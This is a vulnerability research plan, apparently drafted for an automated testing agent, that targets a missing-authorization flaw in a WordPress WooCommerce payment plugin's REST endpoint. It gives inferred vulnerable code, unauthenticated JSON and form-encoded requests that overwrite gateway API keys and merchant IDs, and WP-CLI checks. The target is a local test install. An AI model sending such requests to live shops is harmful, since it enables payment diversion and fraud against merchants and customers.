Exploitation Research Plan: CVE-2026-4663

1. Vulnerability Summary

The iPOSpays Gateways WC plugin for WordPress (versions <= 1.3.7) contains a critical missing authorization vulnerability within its REST API implementation. The plugin registers a custom REST route /wp-json/ipospays/v1/save_settings but fails to implement any security checks. Specifically, the permission_callback for this route is explicitly set to __return_true, which bypasses the default WordPress REST API authentication requirements. This allows any unauthenticated user to send a POST request to this endpoint and modify the plugin's configuration, including sensitive payment gateway credentials.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/ipospays/v1/save_settings
• Namespace: ipospays/v1
• Route: save_settings
• Authorization: None (Unauthenticated access allowed via __return_true).
• Payload Location: Request body (likely JSON or URL-encoded).
• Target Data: The WordPress option woocommerce_ipospays_settings.
• Preconditions:
  1. The plugin "iPOSpays Gateways WC" must be active.
  2. WooCommerce must be active (as the plugin is a WooCommerce gateway extension).

3. Code Flow (Inferred)

1. Route Registration: The plugin registers the route during the rest_api_init hook:

   register_rest_route('ipospays/v1', '/save_settings', array(
       'methods' => 'POST', // or WP_REST_Server::CREATABLE
       'callback' => 'save_settings_handler', // Inferred function name
       'permission_callback' => '__return_true' // THE VULNERABILITY
   ));
   

2. Request Handling: When a POST request hits the endpoint, the callback function is executed.
3. Data Processing: The handler likely retrieves parameters from the WP_REST_Request object (e.g., via $request->get_params()).
4. Data Sink: The handler calls update_option('woocommerce_ipospays_settings', $settings_array) without verifying if the requester has the manage_options or manage_woocommerce capability.

4. Nonce Acquisition Strategy

Based on the vulnerability description, no nonce is required.
The permission_callback being set to __return_true informs the WordPress REST Server that the request is authorized regardless of cookies, headers, or nonces. Standard REST API nonces (using the X-WP-Nonce header) are typically checked within the default permission logic; by overriding it with __return_true, the developer has explicitly opted out of this protection.

5. Exploitation Strategy

The goal is to overwrite the payment gateway settings to point to an attacker-controlled account or simply to disable the gateway by injecting garbage data.

• Step 1: Prepare a JSON payload that mimics the structure of the woocommerce_ipospays_settings option.
• Step 2: Send an unauthenticated POST request to the target endpoint.
• Step 3: Use the http_request tool to perform the action.

Target Payload (Example):
The plugin likely expects keys associated with iPOSpays (API keys, Merchant ID, etc.). We will attempt to inject a recognizable "attacker_key" to prove the vulnerability.

HTTP Request:

POST /wp-json/ipospays/v1/save_settings HTTP/1.1
Host: target-wordpress.local
Content-Type: application/json

{
    "api_key": "pwned_api_key",
    "merchant_id": "pwned_merchant",
    "secret_token": "pwned_token",
    "test_mode": "yes"
}

6. Test Data Setup

1. Environment: A standard WordPress installation with WooCommerce installed and configured.
2. Plugin Installation: Install and activate ipospays-gateways-wc version 1.3.7.
3. Initial State: Configure the iPOSpays gateway with dummy "valid" credentials manually via the WooCommerce dashboard (WooCommerce > Settings > Payments > iPOSpays).
   • Note: Note down the existing values to compare after the exploit.

7. Expected Results

• Response Code: 200 OK or 201 Created.
• Response Body: Likely a JSON confirmation like {"status": "success"} or the updated settings object.
• Database Effect: The wp_options table entry for woocommerce_ipospays_settings will be updated with the values provided in the exploit payload.

8. Verification Steps

After the HTTP request is sent, verify the success of the exploit using WP-CLI:

# Check the contents of the settings option
wp option get woocommerce_ipospays_settings --format=json

The output should reflect the "pwned_..." values injected during the exploit.

9. Alternative Approaches

If the plugin expects a different request format or specific top-level keys, try the following:

1. URL-Encoded Body: Change Content-Type to application/x-www-form-urlencoded and send the payload as a standard query string.
2. Nested Data: The plugin might expect the settings wrapped in a specific key:

   {
       "settings": {
           "api_key": "pwned"
       }
   }
   

3. Discovery via Options: If the payload structure is unknown, use wp option get woocommerce_ipospays_settings before the exploit to see the current key names, then use those exact keys in the POST payload.